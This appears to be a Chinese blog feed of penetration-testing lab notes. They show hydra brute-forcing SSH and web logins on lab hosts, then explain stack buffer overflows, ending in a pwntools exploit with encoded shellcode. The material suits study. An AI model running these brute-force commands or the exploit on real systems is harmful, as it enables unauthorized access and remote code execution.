Use 'sudo apt autoremove' to remove them.
The following NEW packages will be installed:
seclists
0 upgraded, 1 newly installed, 0 to remove and 0 not upgraded.
Need to get 405 MB of archives.
After this operation, 1,627 MB of additional disk space will be used.
Get:1 http://kali.cs.nctu.edu.tw/kali kali-rolling/main amd64 seclists all 2022.4-0kali1 [405 MB]
Fetched 405 MB in 30s (13.7 MB/s)
Selecting previously unselected package seclists.
(Reading database ... 394243 files and directories currently installed.)
Preparing to unpack .../seclists_2022.4-0kali1_all.deb ...
Unpacking seclists (2022.4-0kali1) ...
Setting up seclists (2022.4-0kali1) ...
Processing triggers for kali-menu (2022.4.1) ...
Processing triggers for wordlists (2023.1.2) ...
┌──(kali㉿kali)-[~]
└─$ cd /usr/share/seclists
安裝完成到安裝目錄看一下:
┌──(kali㉿kali)-[~]
└─$ cd /usr/share/seclists
┌──(kali㉿kali)-[/usr/share/seclists]
└─$ ls -al
total 56
drwxr-xr-x 11 root root 4096 Feb 19 02:20 .
drwxr-xr-x 342 root root 12288 Feb 19 02:19 ..
drwxr-xr-x 9 root root 4096 Feb 19 02:19 Discovery
drwxr-xr-x 9 root root 4096 Feb 19 02:20 Fuzzing
drwxr-xr-x 2 root root 4096 Feb 19 02:20 IOCs
drwxr-xr-x 7 root root 4096 Feb 19 02:20 Miscellaneous
drwxr-xr-x 12 root root 4096 Feb 19 02:20 Passwords
drwxr-xr-x 3 root root 4096 Feb 19 02:20 Pattern-Matching
drwxr-xr-x 8 root root 4096 Feb 19 02:20 Payloads
-rw-r--r-- 1 root root 2101 Nov 22 07:56 README.md
drwxr-xr-x 4 root root 4096 Feb 19 02:20 Usernames
drwxr-xr-x 10 root root 4096 Feb 19 02:20 Web-Shells
┌──(kali㉿kali)-[/usr/share/seclists]
└─$ cd Passwords
┌──(kali㉿kali)-[/usr/share/seclists/Passwords]
└─$ ls -al
total 258600
drwxr-xr-x 12 root root 4096 Feb 19 02:20 .
drwxr-xr-x 11 root root 4096 Feb 19 02:20 ..
-rw-r--r-- 1 root root 1594 Nov 22 07:56 2020-200_most_used_passwords.txt
-rw-r--r-- 1 root root 3491 Nov 22 07:56 500-worst-passwords.txt
-rw-r--r-- 1 root root 1868 Nov 22 07:56 500-worst-passwords.txt.bz2
drwxr-xr-x 2 root root 4096 Feb 19 02:20 BiblePass
-rw-r--r-- 1 root root 15663259 Nov 22 07:56 bt4-password.txt
-rw-r--r-- 1 root root 7841 Nov 22 07:56 cirt-default-passwords.txt
-rw-r--r-- 1 root root 26 Nov 22 07:56 citrix.txt
-rw-r--r-- 1 root root 611 Nov 22 07:56 clarkson-university-82.txt
drwxr-xr-x 2 root root 4096 Feb 19 02:20 Common-Credentials
drwxr-xr-x 2 root root 4096 Feb 19 02:20 Cracked-Hashes
-rw-r--r-- 1 root root 15069474 Nov 22 07:56 darkc0de.txt
-rw-r--r-- 1 root root 82603 Nov 22 07:56 darkweb2017-top10000.txt
-rw-r--r-- 1 root root 8160 Nov 22 07:56 darkweb2017-top1000.txt
-rw-r--r-- 1 root root 802 Nov 22 07:56 darkweb2017-top100.txt
-rw-r--r-- 1 root root 81 Nov 22 07:56 darkweb2017-top10.txt
-rw-r--r-- 1 root root 71176 Nov 22 07:56 days.txt
drwxr-xr-x 2 root root 4096 Feb 19 02:20 Default-Credentials
-rw-r--r-- 1 root root 13 Nov 22 07:56 der-postillon.txt
-rw-r--r-- 1 root root 73216276 Nov 22 07:56 dutch_common_wordlist.txt
-rw-r--r-- 1 root root 43164090 Nov 22 07:56 dutch_passwordlist.txt
-rw-r--r-- 1 root root 6729365 Nov 22 07:56 dutch_wordlist
-rw-r--r-- 1 root root 3205 Nov 22 07:56 german_misc.txt
drwxr-xr-x 2 root root 4096 Feb 19 02:20 Honeypot-Captures
-rw-r--r-- 1 root root 84476 Nov 22 07:56 Keyboard-Combinations.txt
drwxr-xr-x 2 root root 4096 Feb 19 02:20 Leaked-Databases
drwxr-xr-x 2 root root 4096 Feb 19 02:20 Malware
-rw-r--r-- 1 root root 153850 Nov 22 07:56 months.txt
-rw-r--r-- 1 root root 322069 Nov 22 07:56 Most-Popular-Letter-Passes.txt
-rw-r--r-- 1 root root 1453892 Nov 22 07:56 mssql-passwords-nansh0u-guardicore.txt
-rw-r--r-- 1 root root 40999980 Nov 22 07:56 openwall.net-all.txt
drwxr-xr-x 2 root root 4096 Feb 19 02:20 Permutations
-rw-r--r-- 1 root root 242 Nov 22 07:56 PHP-Magic-Hashes.txt
-rw-r--r-- 1 root root 100206 Nov 22 07:56 probable-v2-top12000.txt
-rw-r--r-- 1 root root 12261 Nov 22 07:56 probable-v2-top1575.txt
-rw-r--r-- 1 root root 1620 Nov 22 07:56 probable-v2-top207.txt
-rw-r--r-- 1 root root 848 Nov 22 07:56 README.md
-rw-r--r-- 1 root root 154919 Nov 22 07:56 richelieu-french-top20000.txt
-rw-r--r-- 1 root root 38268 Nov 22 07:56 richelieu-french-top5000.txt
-rw-r--r-- 1 root root 3150405 Nov 22 07:56 SCRABBLE-hackerhouse.tgz
-rw-r--r-- 1 root root 113166 Nov 22 07:56 scraped-JWT-secrets.txt
-rw-r--r-- 1 root root 56721 Nov 22 07:56 seasons.txt
drwxr-xr-x 2 root root 4096 Feb 19 02:20 Software
-rw-r--r-- 1 root root 18 Nov 22 07:56 stupid-ones-in-production.txt
-rw-r--r-- 1 root root 3023 Nov 22 07:56 twitter-banned.txt
-rw-r--r-- 1 root root 31312 Nov 22 07:56 unkown-azul.txt
-rw-r--r-- 1 root root 5229 Nov 22 07:56 UserPassCombo-Jay.txt
drwxr-xr-x 2 root root 4096 Feb 19 02:20 WiFi-WPA
-rw-r--r-- 1 root root 8557632 Nov 22 07:56 xato-net-10-million-passwords-1000000.txt
-rw-r--r-- 1 root root 781879 Nov 22 07:56 xato-net-10-million-passwords-100000.txt
-rw-r--r-- 1 root root 76497 Nov 22 07:56 xato-net-10-million-passwords-10000.txt
-rw-r--r-- 1 root root 7399 Nov 22 07:56 xato-net-10-million-passwords-1000.txt
-rw-r--r-- 1 root root 738 Nov 22 07:56 xato-net-10-million-passwords-100.txt
-rw-r--r-- 1 root root 75 Nov 22 07:56 xato-net-10-million-passwords-10.txt
-rw-r--r-- 1 root root 6212177 Nov 22 07:56 xato-net-10-million-passwords-dup.txt
-rw-r--r-- 1 root root 48312893 Nov 22 07:56 xato-net-10-million-passwords.txt
可以看到Passwords裡有許多文件,應該是叫字典檔,挑其中一個1000000筆的,比較大,接下來就是用hydra爆破ssh密碼:
┌──(kali㉿kali)-[/usr/share/seclists/Passwords]
└─$ hydra -l jason -P xato-net-10-million-passwords-1000000.txt ssh://172.16.3.128
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-02-19 02:43:22
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 1000000 login tries (l:1/p:1000000), ~62500 tries per task
[DATA] attacking ssh://172.16.3.128:22/
[STATUS] 86.00 tries/min, 86 tries in 00:01h, 999916 to do in 193:47h, 14 active
[STATUS] 98.67 tries/min, 296 tries in 00:03h, 999706 to do in 168:53h, 14 active
[ERROR] Can not create restore file (./hydra.restore) - Permission denied
[22][ssh] host: 172.16.3.128 login: jason password: apollo
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 8 final worker threads did not complete until end.
[ERROR] 8 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-02-19 02:48:57
小寫l是特定帳號,大寫L是載入帳號的字典檔;小寫p是特定密碼,大寫P是載入密碼的字典檔。可以得知密碼是apollo,接下來利用這帳密登入:
┌──(kali㉿kali)-[/usr/share/seclists/Passwords]
└─$ ssh jason@172.16.3.128
jason@172.16.3.128's password:
Welcome to Ubuntu 14.04 LTS (GNU/Linux 3.13.0-24-generic x86_64)
* Documentation: https://help.ubuntu.com/
775 packages can be updated.
483 updates are security updates.
Last login: Sat Oct 29 16:20:08 2022 from 192.168.200.15
jason@Ubuntu14:~$ id
uid=1001(jason) gid=1001(jason) groups=1001(jason)
由上指令,可以發現就是一個不是root的使用者。
接下來是lab 2:
剛剛的掃描結果值得注意的點:
接下來用nikto,希望網站主動告訴我們它有哪些目錄:
┌──(kali㉿kali)-[~]
└─$ nikto -host http://172.16.1.142:8888
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 172.16.1.142
+ Target Hostname: 172.16.1.142
+ Target Port: 8888
+ Start Time: 2023-02-19 05:08:09 (GMT-5)
---------------------------------------------------------------------------
+ Server: Microsoft-IIS/10.0
+ Retrieved x-powered-by header: ASP.NET
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Retrieved x-aspnet-version header: 4.0.30319
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Uncommon header 'content-style-type' found, with contents: text/css
+ Uncommon header 'content-script-type' found, with contents: text/javascript
+ Entry '/BlogEngine/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ "robots.txt" contains 1 entry which should be manually viewed.
+ Allowed HTTP Methods: OPTIONS, TRACE, GET, HEAD, POST
+ Public HTTP Methods: OPTIONS, TRACE, GET, HEAD, POST
+ 7918 requests: 0 error(s) and 11 item(s) reported on remote host
+ End Time: 2023-02-19 05:08:25 (GMT-5) (16 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
知道有一個/BlogEngine
目錄,試著連連看:
點右上角三橫線後出現下圖,點登入:
點「登入」:
那麼,要如何讓程式自動填入上述表格,進行密碼爆破? 其實hydra有針對這樣表單的爆破方式,指令格式如下,而問題是下圖紅線處,是每個網站不一樣的。
為了知道要怎麼得到上圖綠框(1)、橘框(2)跟藍圈(3)相關資訊,請出burp suite:
使用burp suite之前,先要更改瀏覽器的proxy設定:
點上圖的settings:
點選上圖選項,另外再看看burp suite裡HTTP Proxy該填什麼:
填入:
之後隨便輸入錯誤的帳密後,再次回到BurpSuite,並點下圖綠框:
intercept的作用是可以攔截動作。實際上只點選網頁的某一個鍵時,就可能會經過好幾個網頁來處理使用者要求,而intercept就是可以強迫動作做完一步就停,按下下圖紅框Forward才能繼續下一個步驟:
一直Forward直到要求處理完成,再點一下Intercept on,讓它變off,不然無法檢視原始碼。
之後要找failed相關的訊息,要檢視原始碼,就是藍圈:
切回去到HTTP history看看剛剛經歷了什麼,而下圖Raw的反白處,就是綠色框框必填資訊。
再來是要填的第二個資訊(橘框),就是下圖反白處:
為了可以密碼爆破,所以__VIEWSTATE的內容要改一下。下圖是修改前跟修改後的比對,其實就是為了要可以填入字典檔的內容:
所以密碼爆破指令如下:
紅、藍、綠都是剛剛得到的資訊,以冒號分隔。
┌──(kali㉿kali)-[/usr/share/seclists/Passwords]
└─$ hydra -l admin -P /usr/share/seclists/Passwords/xato-net-10-million-password s-1000000.txt -s 8888 172.16.1.142 http-post-form "/BlogEngine/Account/login.asp x:__VIEWSTATE=1OEalh2S3ypsE3ovuOItZQXivyIzpx%2F0tDHRNN4jHESRHynwSXHWojkR2NUO9LHR TGl3y5jdi%2Bh1%2FVpMyKxXiBqha3US2RrvoOePJIOFuzPwMB3P%2Fl8HnLWZKWyW5SzQ9PBLSGUBRa %2FG7MzdT0Jl2LbKTcr1MqrIhTOEa5naAFer2QttldTakmyfvOYcqsnW%2BG%2BPs9ys7VRw3yFRSaTC Q9GYkw2HnQ9KpiWcYrNPYsYMC%2Bs6NYyNb7za2PSRf0993UVhu0DW6aIO%2B1nMtbKjgdegSSJtzIpI v43SVHqNGVWiSzKu8jkm2BRnsLlwK7Ar2cZYO2oInK9oRI8PuRJf43Jq2BsaDfIUU6m6JAHz8JUtxEFC &__VIEWSTATEGENERATOR=F75D4323&__EVENTVALIDATION=%2BqereblHfgZrY0yE4PFQIPiaMhEV1 olmszouJTCQDevS7lyGxoGnLsWgGKWtTuj4IFQilnvOEG%2FaT8n6dn2b40Pfq4oI5Zyf5CVSJnTaDzS oSxqbd0DWzOS4NQBwUOl0iYZ5P2jKwUk18B%2BLEq7LpTpbb59vwVrPGo751upJoA4%2FTKmN&ctl00% 24MainContent%24LoginUser%24UserName=^USER^&ctl00%24MainContent%24LoginUser%24Pa ssword=^PASS^&ctl00%24MainContent%24LoginUser%24LoginButton=Log+in:Login failed"
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in mi litary or secret service organizations, or for illegal purposes (this is non-bin ding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-02-19 06:19: 07
[DATA] max 16 tasks per 1 server, overall 16 tasks, 1000000 login tries (l:1/p:1 000000), ~62500 tries per task
[DATA] attacking http-post-form://172.16.1.142:8888/BlogEngine/Account/login.asp x:__VIEWSTATE=1OEalh2S3ypsE3ovuOItZQXivyIzpx%2F0tDHRNN4jHESRHynwSXHWojkR2NUO9LHR TGl3y5jdi%2Bh1%2FVpMyKxXiBqha3US2RrvoOePJIOFuzPwMB3P%2Fl8HnLWZKWyW5SzQ9PBLSGUBRa %2FG7MzdT0Jl2LbKTcr1MqrIhTOEa5naAFer2QttldTakmyfvOYcqsnW%2BG%2BPs9ys7VRw3yFRSaTC Q9GYkw2HnQ9KpiWcYrNPYsYMC%2Bs6NYyNb7za2PSRf0993UVhu0DW6aIO%2B1nMtbKjgdegSSJtzIpI v43SVHqNGVWiSzKu8jkm2BRnsLlwK7Ar2cZYO2oInK9oRI8PuRJf43Jq2BsaDfIUU6m6JAHz8JUtxEFC &__VIEWSTATEGENERATOR=F75D4323&__EVENTVALIDATION=%2BqereblHfgZrY0yE4PFQIPiaMhEV1 olmszouJTCQDevS7lyGxoGnLsWgGKWtTuj4IFQilnvOEG%2FaT8n6dn2b40Pfq4oI5Zyf5CVSJnTaDzS oSxqbd0DWzOS4NQBwUOl0iYZ5P2jKwUk18B%2BLEq7LpTpbb59vwVrPGo751upJoA4%2FTKmN&ctl00% 24MainContent%24LoginUser%24UserName=^USER^&ctl00%24MainContent%24LoginUser%24Pa ssword=^PASS^&ctl00%24MainContent%24LoginUser%24LoginButton=Log+in:Login failed
[8888][http-post-form] host: 172.16.1.142 login: admin password: admin
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 1 final worker threads did not complete u ntil end.
[ERROR] 1 target did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-02-19 06:19: 32
可得知密碼一樣是admin。
首先設定好burp(開burp -> 瀏覽器設置proxy),再做下面步驟:
┌──(kali㉿kali)-[/usr/share/seclists/Passwords]
└─$ sudo nmap 172.16.1.153 -p-
[sudo] password for kali:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-19 06:43 EST
Nmap scan report for 172.16.1.153
Host is up (0.049s latency).
Not shown: 65534 closed tcp ports (reset)
PORT STATE SERVICE
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 27.89 seconds
┌──(kali㉿kali)-[/usr/share/seclists/Passwords]
└─$ sudo nmap 172.16.1.153 -p 80 -sC -sV -O -A
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-19 06:44 EST
Nmap scan report for 172.16.1.153
Host is up (0.016s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: Did not follow redirect to http://hr.itop.com.tw/app/login.php
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.2.0 (94%), Linux 3.11 - 4.1 (94%), Linux 3.16 (94%), Linux 4.4 (94%), Linux 3.10 - 3.16 (93%), Linux 3.13 (91%), Linux 3.18 (90%), Linux 4.0 (90%), Linux 3.10 - 4.11 (89%), Linux 3.12 (89%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 61.63 ms 192.168.200.1
2 11.39 ms 172.16.1.153
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.39 seconds
注意掃描結果有http://hr.itop.com.tw/app/login.php
。
實際上卻連不到。有些公司是網頁會用內部DNS解析,所以這裡應該改一下DNS設定:
┌──(kali㉿kali)-[~]
└─$ sudo vim /etc/hosts
加上第三行:
第三行是新增的。儲存修改後重連即可連上如下圖。
隨便打個錯的,觀察burp:
看burp:
看burp:
檢視該輸入帳密之網頁原始碼:
如此一來,可以得到為了爆破密碼,而需填入hydra的綠框、橘框跟藍圈:
┌──(kali㉿kali)-[~]
└─$ hydra -l admin -P /usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt 172.16.1.153 http-post-form "/app/login.php:next=&csrf=d8d5b15bfc4d470dc4381ceca767d48fdbd33e3e&username=^USER^&password=^PASS^:Login failed"
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-02-19 07:25:18
[DATA] max 16 tasks per 1 server, overall 16 tasks, 1000000 login tries (l:1/p:1000000), ~62500 tries per task
[DATA] attacking http-post-form://172.16.1.153:80/app/login.php:next=&csrf=d8d5b15bfc4d470dc4381ceca767d48fdbd33e3e&username=^USER^&password=^PASS^:Login failed
[80][http-post-form] host: 172.16.1.153 login: admin
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-02-19 07:25:21
知道密碼是admin,成功登入:
]]>(這篇會融 (抄) 合 (襲) 許多人的網誌,組合成一篇筆者自己比較看得懂的文章)
以下是一個C語言程式:
#include <stdio.h>
int func (int x, int y){
int a = 3;
int b = 5;
int c = 7;
printf("%p %p %p %p %p\n", &x, &y ,&a ,&b, &c);
return 0;
}
int main(){
func(1,2);
return 0;
}
電腦處理的過程如下:
在C語言程序中,參數的壓棧順序是反向的。比如func(a,b,c)。在參數入棧的時候,是:先壓c,再壓b,最後壓a.在取參數的時候,由於棧的先入後出,先取棧頂的a,再取b,最後取c。
如果畫成圖,就會是以下步驟:
而這一連串的步驟,會用到EIP(instruction pointer register)、EBP (base pointer,也是圖中的frame pointer)、以及ESP(stack pointer)等三個重要的暫存器。
EIP指向目前要執行的指令的位址。而EBP(base)到ESP(top)的範圍為目前stack的框架。
什麼是框架(frame)?我們知道stack是一個共用的空間,假設有個function A先使用了一些stack的空間,然後程式流程跳轉到function B,此時B要怎麼確認它可以用stack上的哪些空間而不要覆寫、誤存到其他人的空間呢(例如剛剛A所使用掉的空間)? -答案是設一個指標記住之前stack用到哪裡(也就是B開始使用stack那一刻的stack top),並且把這裡當成新的stack base(EBP),從這裡到stack top(ESP)就明確表達出目前stack使用範圍,這就是目前程序的框架(frame)。
其中ebp跟esp這兩個暫存器,在新增函式時,每一張圖對應的組合語言程式碼如下:
而在函式執行完要return時,對應組合語言程式碼如下:
注意在執行ret指令時,將獲取站內EIP數據,然後棧內的EIP也將出棧。程序跳轉到函數下方。esp回到函數棧頂部,函數調用結束。
而現在用另一個C程式來談談buffer overflow:
#include <stdio.h>
void hacker()
{
printf("No, I'm a hacker!\n");
}
void nonSecure()
{
char name[16];
printf("What's your name?\n");
gets(name);
printf("Hey %s, you're harmless, aren't you?\n", name);
}
int main()
{
nonSecure();
return 0;
}
而其中它的stack示意圖如下: (rbp是64位元的ebp)
執行gets(name)輸入”AAAAAAA…”之後的stack:
name、rbp、ret全部被A給覆寫,然後當nonSecure這個函式返回時,取用到的return address就是”AAAAAAAA”-也就是0x4141414141414141 (ASCII A : 0x41),而程式無法解析這個位址所放的指令,於是就發生Segmentation fault。
第二個例子:
一樣先來一段c code:
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv) {
char buffer[128];
if (argc < 2) {
printf("Please input one argument!\n");
return -1;
}
strcpy(buffer, argv[1]);
printf("argv[1]: %s\n", buffer);
return 0;
}
上述代碼主要是通過 strcpy 函數來實現棧溢出的,strcpy 是在執行拷貝的時候,是從低地址向高地址拷貝,而且是不會比較兩個參數的 size 的,因此我們的 buffer 雖然長度為 128 個字節,但是如果輸入的參數大於這個長度,比如 136 個字節,則會造成剩余的 8 個字節將會覆蓋到 ebp 以及返回地址處,如下圖:
這樣我們就能控制程序跳轉到什麽地方執行。
既然知道原理,那要如何執行惡意代碼,也就是常說的shell code?
在上述代碼中,可以有幾種方式跳轉到 shellcode 執行。
函數調用結束時,如果要讓 eip 指向攻擊指令,需要哪些準備?首先,在退棧過程中,返回地址會被傳給 eip,所以我們只需要讓溢出數據用攻擊指令的地址來覆蓋返回地址就可以了。其次,我們可以在溢出數據內包含一段攻擊指令,也可以在內存其他位置尋找可用的攻擊指令。
函數調用發生時,如果要讓 eip 指向攻擊指令,需要哪些準備?這時,eip 會指向原程序中某個指定的函數,我們沒法通過改寫返回地址來控制了,不過我們可以“偷梁換柱”--將原本指定的函數在調用時替換為其他函數。
技術大概可以總結為(括號內英文是所用技術的簡稱):
修改返回地址,讓其指向溢出數據中的一段指令(shellcode)
修改返回地址,讓其指向內存中已有的某個函數(return2libc)
修改返回地址,讓其指向內存中已有的一段指令(ROP)
修改某個被調用函數的地址,讓其指向另一個函數(hijack GOT)
要完成的任務包括:在溢出數據內包含一段攻擊指令,用攻擊指令的起始地址覆蓋掉返回地址。攻擊指令一般都是用來打開 shell,從而可以獲得當前進程的控制權,所以這類指令片段也被成為“shellcode”。shellcode 可以用匯編語言來寫再轉成對應的機器碼,也可以上網搜索直接覆制粘貼,這里就不再贅述。下面我們先寫出溢出數據的組成,再確定對應的各部分填充進去。
payload : padding1 + address of shellcode + padding2 + shellcode
padding1 處的數據可以隨意填充(注意如果利用字符串程序輸入溢出數據不要包含 “\x00” ,否則向程序傳入溢出數據時會造成截斷),長度應該剛好覆蓋函數的基地址。address of shellcode 是後面 shellcode 起始處的地址,用來覆蓋返回地址。padding2 處的數據也可以隨意填充,長度可以任意。shellcode 應該為十六進制的機器碼格式。
我們可以用調試工具(例如 gdb)查看匯編代碼來確定這個距離,也可以在運行程序時用不斷增加輸入長度的方法來試探(如果返回地址被無效地址例如“AAAA”覆蓋,程序會終止並報錯)。
我們可以在調試工具里查看返回地址的位置(可以查看 ebp 的內容然後再加4(32位機),參見前面關於函數狀態的解釋),可是在調試工具里的這個地址和正常運行時並不一致,這是運行時環境變量等因素有所不同造成的。所以這種情況下我們只能得到大致但不確切的 shellcode 起始地址,解決辦法是在 padding2 里填充若幹長度的 “\x90”。這個機器碼對應的指令是 NOP (No Operation),也就是告訴 CPU 什麽也不做,然後跳到下一條指令。有了這一段 NOP 的填充,只要返回地址能夠命中這一段中的任意位置,都可以無副作用地跳轉到 shellcode 的起始處,所以這種方法被稱為NOP Sled(中文含義是“滑雪橇”)。這樣我們就可以通過增加 NOP 填充來配合試驗 shellcode 起始地址。
操作系統可以將函數調用棧的起始地址設為隨機化(這種技術被稱為內存布局隨機化,即Address Space Layout Randomization (ASLR) ),這樣程序每次運行時函數返回地址會隨機變化。反之如果操作系統關閉了上述的隨機化(這是技術可以生效的前提),那麽程序每次運行時函數返回地址會是相同的,這樣我們可以通過輸入無效的溢出數據來生成core文件,再通過調試工具在core文件中找到返回地址的位置,從而確定 shellcode 的起始地址。
解決完上述問題,我們就可以拼接出最終的溢出數據,輸入至程序來執行 shellcode 了。
所以code,具體而言應像是這樣:
from pwn import *
r = remote("192.168.18.187",9999)
command = b"TRUN /.:/"
padding = b'a'*2003
new_eip = p32(0x625011af)
padding2 = p32(0x90909090) * 10
shellcode = (b"\xba\x2f\xdb\x66\x01\xdd\xc5\xd9\x74\x24\xf4\x5d\x33\xc9\xb1"
b"\x52\x31\x55\x12\x03\x55\x12\x83\xc2\x27\x84\xf4\xe0\x30\xcb"
b"\xf7\x18\xc1\xac\x7e\xfd\xf0\xec\xe5\x76\xa2\xdc\x6e\xda\x4f"
b"\x96\x23\xce\xc4\xda\xeb\xe1\x6d\x50\xca\xcc\x6e\xc9\x2e\x4f"
b"\xed\x10\x63\xaf\xcc\xda\x76\xae\x09\x06\x7a\xe2\xc2\x4c\x29"
b"\x12\x66\x18\xf2\x99\x34\x8c\x72\x7e\x8c\xaf\x53\xd1\x86\xe9"
b"\x73\xd0\x4b\x82\x3d\xca\x88\xaf\xf4\x61\x7a\x5b\x07\xa3\xb2"
b"\xa4\xa4\x8a\x7a\x57\xb4\xcb\xbd\x88\xc3\x25\xbe\x35\xd4\xf2"
b"\xbc\xe1\x51\xe0\x67\x61\xc1\xcc\x96\xa6\x94\x87\x95\x03\xd2"
b"\xcf\xb9\x92\x37\x64\xc5\x1f\xb6\xaa\x4f\x5b\x9d\x6e\x0b\x3f"
b"\xbc\x37\xf1\xee\xc1\x27\x5a\x4e\x64\x2c\x77\x9b\x15\x6f\x10"
b"\x68\x14\x8f\xe0\xe6\x2f\xfc\xd2\xa9\x9b\x6a\x5f\x21\x02\x6d"
b"\xa0\x18\xf2\xe1\x5f\xa3\x03\x28\xa4\xf7\x53\x42\x0d\x78\x38"
b"\x92\xb2\xad\xef\xc2\x1c\x1e\x50\xb2\xdc\xce\x38\xd8\xd2\x31"
b"\x58\xe3\x38\x5a\xf3\x1e\xab\xa5\xac\x32\x91\x4e\xaf\x32\xfb"
b"\x4b\x26\xd4\x69\x44\x6f\x4f\x06\xfd\x2a\x1b\xb7\x02\xe1\x66"
b"\xf7\x89\x06\x97\xb6\x79\x62\x8b\x2f\x8a\x39\xf1\xe6\x95\x97"
b"\x9d\x65\x07\x7c\x5d\xe3\x34\x2b\x0a\xa4\x8b\x22\xde\x58\xb5"
b"\x9c\xfc\xa0\x23\xe6\x44\x7f\x90\xe9\x45\xf2\xac\xcd\x55\xca"
b"\x2d\x4a\x01\x82\x7b\x04\xff\x64\xd2\xe6\xa9\x3e\x89\xa0\x3d"
b"\xc6\xe1\x72\x3b\xc7\x2f\x05\xa3\x76\x86\x50\xdc\xb7\x4e\x55"
b"\xa5\xa5\xee\x9a\x7c\x6e\x0e\x79\x54\x9b\xa7\x24\x3d\x26\xaa"
b"\xd6\xe8\x65\xd3\x54\x18\x16\x20\x44\x69\x13\x6c\xc2\x82\x69"
b"\xfd\xa7\xa4\xde\xfe\xed")
payload = command + padding + new_eip + padding2 + shellcode
r.sendline(payload)
方法生效前提:
這種方法生效的一個前提是在函數調用棧上的數據(shellcode)要有可執行的權限(另一個前提是上面提到的關閉內存布局隨機化)。很多時候操作系統會關閉函數調用棧的可執行權限,這樣 shellcode 的方法就失效了,不過我們還可以嘗試使用內存里已有的指令或函數,畢竟這些部分本來就是可執行的,所以不會受上述執行權限的限制。這就包括 return2libc 和 ROP 兩種方法。
解決完上述問題,我們就可以拼接出最終的溢出數據,輸入至程序來執行 shellcode 了。
而這一種方式,實際的例子與操作可以看下一篇。實際打打看就知道怎麼做。
return2libc技術
--修改返回地址,讓其指向內存中已有的某個函數
根據上面副標題的說明,要完成的任務包括:在內存中確定某個函數的地址,並用其覆蓋掉返回地址。由於 libc 動態鏈接庫中的函數被廣泛使用,所以有很大概率可以在內存中找到該動態庫。同時由於該庫包含了一些系統級的函數(例如 system() 等),所以通常使用這些系統級函數來獲得當前進程的控制權。鑒於要執行的函數可能需要參數,比如調用 system() 函數打開 shell 的完整形式為 system(“/bin/sh”) ,所以溢出數據也要包括必要的參數。下面就以執行 system(“/bin/sh”) 為例,先寫出溢出數據的組成,再確定對應的各部分填充進去。
payload: padding1 + address of system() + padding2 + address of “/bin/sh”
return2libc 所用溢出數據的構造如下
padding1 處的數據可以隨意填充(注意不要包含 “\x00” ,否則向程序傳入溢出數據時會造成截斷),長度應該剛好覆蓋函數的基地址。address of system() 是 system() 在內存中的地址,用來覆蓋返回地址。padding2 處的數據長度為4(32位機),對應調用 system() 時的返回地址。因為我們在這里只需要打開 shell 就可以,並不關心從 shell 退出之後的行為,所以 padding2 的內容可以隨意填充。address of “/bin/sh” 是字符串 “/bin/sh” 在內存中的地址,作為傳給 system() 的參數。
根據上面的構造,我們要解決個問題。
解決方法和 shellcode 中提到的答案一樣。
要回答這個問題,就要看看程序是如何調用動態鏈接庫中的函數的。當函數被動態鏈接至程序中,程序在運行時首先確定動態鏈接庫在內存的起始地址,再加上函數在動態庫中的相對偏移量,最終得到函數在內存的絕對地址。說到確定動態庫的內存地址,就要回顧一下 shellcode 中提到的內存布局隨機化(ASLR),這項技術也會將動態庫加載的起始地址做隨機化處理。所以,如果操作系統打開了 ASLR,程序每次運行時動態庫的起始地址都會變化,也就無從確定庫內函數的絕對地址。在 ASLR 被關閉的前提下,我們可以通過調試工具在運行程序過程中直接查看 system() 的地址,也可以查看動態庫在內存的起始地址,再在動態庫內查看函數的相對偏移位置,通過計算得到函數的絕對地址。
最後,“/bin/sh” 的地址在哪里?
可以在動態庫里搜索這個字符串,如果存在,就可以按照動態庫起始地址+相對偏移來確定其絕對地址。如果在動態庫里找不到,可以將這個字符串加到環境變量里,再通過 getenv() 等函數來確定地址。
解決完上述問題,我們就可以拼接出溢出數據,輸入至程序來通過 system() 打開 shell 了。
在上篇的背景知識中,我們提到了函數狀態相關的三個寄存器--esp,ebp,eip。下面的內容會涉及更多的寄存器,所以我們大致介紹下寄存器在執行程序指令中的不同用途。
